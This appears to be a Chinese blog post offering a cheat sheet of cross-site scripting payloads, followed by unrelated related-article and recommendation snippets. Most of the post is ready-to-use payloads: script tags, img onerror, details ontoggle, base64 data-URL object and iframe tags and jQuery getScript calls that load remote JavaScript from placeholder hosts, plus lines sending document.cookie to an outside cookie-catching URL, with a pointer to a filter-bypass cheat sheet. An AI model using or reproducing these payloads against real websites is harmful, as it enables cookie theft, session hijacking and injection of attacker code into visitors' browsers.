xss 加载远程第三方JS
script
没有调用远程平台,用web接收cookie
<script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script>
简单的script链接远程第三方js,省略协议,浏览器自动加载当前页面的协议
<script src=//xxx.xxx/a.js></script>
img图片
图片创建script节点,链接远程第三方JS
<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>
图片创建其他节点,接收cookie
<img src=x onerror=document.body.appendChild(document.createElement('img')).src='//xxx.xxx/a?cookie='+document.cookie>
details+ontoggle展开
details详细信息展开时触发,往往是被忽略的一个点
<details ontoggle="$.getScript`https://xxx/a.js`">123</details>
data url
生成base64解码内容
TIP:刚开始用的时候,页面加载的是经过urlencode的script标签,无法解析;经过同事指点,是生成base64的网站自己加的url编码。再用站长之家,script生成的base64中有htmlencode。。最后找到了个正常的。
在线加密解密
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></object>
<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></iframe>
标签还有 <anchor>、<img>(不允许加载js) <a>(需点击) <meta>.....
直接调用
JQuery调用js
onmouseover=$.getScript("//xxx.xxx/a.js");
<svg onmouseover="$.getScript`https://xxx/a.js`" stype="display:none">
总结
总的来说,三个点。
标签、属性、事件代码。
标签
svg
input
object
iframe
img
甚至a pbutton等等都行。script直接运行js
属性
onerror
onload
onmouseover
onmousemove
onmousedown
onclick
onfocus+autofocus
切换(具体忘了,回头查查)
代码
console.log(document.cookie)
document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie
prompt(document.cookie)
confirm(document.cookie)
以及上方加载远程代码的payload
配合过滤表查询更好用
freebuf XSS过滤绕过速查表
xss 加载远程第三方JS的更多相关文章
- xss如何加载远程js的一些tips
在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...
- XSS漏洞之加载远程js文件
这次在对一个系统渗透测试过程中,发现一个XSS漏洞,可弹窗,并且没有httponly 但是在尝试加载远程js文件的时候发现,script标签被过滤掉了,准确的说应该是服务器后端在识别到输入内容有< ...
- 【 js 模块加载 】深入学习模块化加载(node.js 模块源码)
一.模块规范 说到模块化加载,就不得先说一说模块规范.模块规范是用来约束每个模块,让其必须按照一定的格式编写.AMD,CMD,CommonJS 是目前最常用的三种模块化书写规范. 1.AMD(Asy ...
- springMVC加载远程freemarker模板文件
在一个大网站里,有很多子域名,也就是有很多子系统,这些子系统由不同的团队负责,对整个网站的风格的风格至少得要是一致的(最基本的页头.页尾必须一致),这个时候得提供一份统一的页头.页尾以及公共的JS.c ...
- 【 js 模块加载 】【源码学习】深入学习模块化加载(node.js 模块源码)
文章提纲: 第一部分:介绍模块规范及之间区别 第二部分:以 node.js 实现模块化规范 源码,深入学习. 一.模块规范 说到模块化加载,就不得先说一说模块规范.模块规范是用来约束每个模块,让其必须 ...
- AIRSDK 3.7 加载远程的含有代码的swf文件
之前就说这个版本会解决可以加载远程的含有代码的swf文件的需求.但是,一直比较好奇这个是否行得通,还以为 Adobe 副总裁去了苹果,内部给了特殊待遇. 因为苹果一直就是不允许远程加载代码的,像js文 ...
- JQuery 加载 CSS、JS 文件
JS 方式加载 CSS.JS 文件: //加载 css 文件 function includeCss(filename) { var head = document.getElementsByTagN ...
- CI模板加载css和js
1.需求 ci无法加载css和js文件. 2.解决 删除..htaccess文件. 在config目录下配置base_url,并传给页面 $base_url = $this->config-&g ...
- jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据
jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据 这个是jQuery 的底层 AJAX 实现.简单易用的高层实现见 $.get, $.post 等. $.ajax() ...
随机推荐
- spring的事件驱动模型
在工作中会遇到这样的业务,生成一个订单后需要给指定的用户发送短信或者邮件,但是短信或者邮件发送失败又不会影响正常的业务: 这里介绍通过ApplicationContext和spring的@EventL ...
- Future of Future
innovation 革新 , <社会创新实验室 宣传片>的个人记录(有加戏便于我自己理解) 1. 清洁能源 => sustainable 家. 2. 老龄化 => 外出接 ...
- 如何识别Studio 5000程序开发版本号
前言:中.大型AB PLC的编程软件从以前的RSLogix 5000到目前的Studio 5000,都是有版本号的,如RSLogix 5000 V19.0.Studio 5000 V32.高版本的软件 ...
- redis集群篇
redis集群的搭建 1.为什么要搭建集群(解决单点问题) 通过对redis的简单了解,我们知道redis已经有两种持久化方案rdb和aof.在redis出现宕机后,可能会出现部分的数据损失,但是数据 ...
- 2018-2019-2 20165231 王杨鸿永 Exp6 信息搜集与漏洞扫描
实践目标 掌握信息搜集的最基础技能与常用工具的使用方法. 2.实践内容 (1)各种搜索技巧的应用 (2)DNS IP注册信息的查询 (3)基本的扫描技术:主机发现.端口扫描.OS及服务版本探测.具体服 ...
- C语言中 if 和 else if 的区别
先看代码:我们本意是对i不同的值有不同的判断. #include<stdio.h> int main(void) { ; ) { i++; printf("%d\n", ...
- tar解压指定文件
import tarfileimport sys#tar = tarfile.open('/opt/platform-omp/omp.tar.gz','r')tar = tarfile.open(r' ...
- Resharper使用详解(转)
万恶的360文档 解除复制的限制 Ctrl + Shift + i 打开控制台,也可以鼠标右键,选最后一个检查也可以打开控制台,输入: setInterval = null; //将内置无限循环函数设 ...
- 使用extjs的页面弹出窗口宽度不能自适应如何解决?
1.资源趋势详情下钻页面宽度不能自适应,无法点击关闭按钮 var detailWindow = Ext.create("App.view.com.huawei.drp.qoe.vivid.C ...
- Lesson 1-2
1.5 模块 模块可视为扩展,通过将其导入可以扩展python的功能.python中自带有一组模块,也称为“标准库”. 1.5.1 模块的导入:import + 模块名称 • 使用关键字import导 ...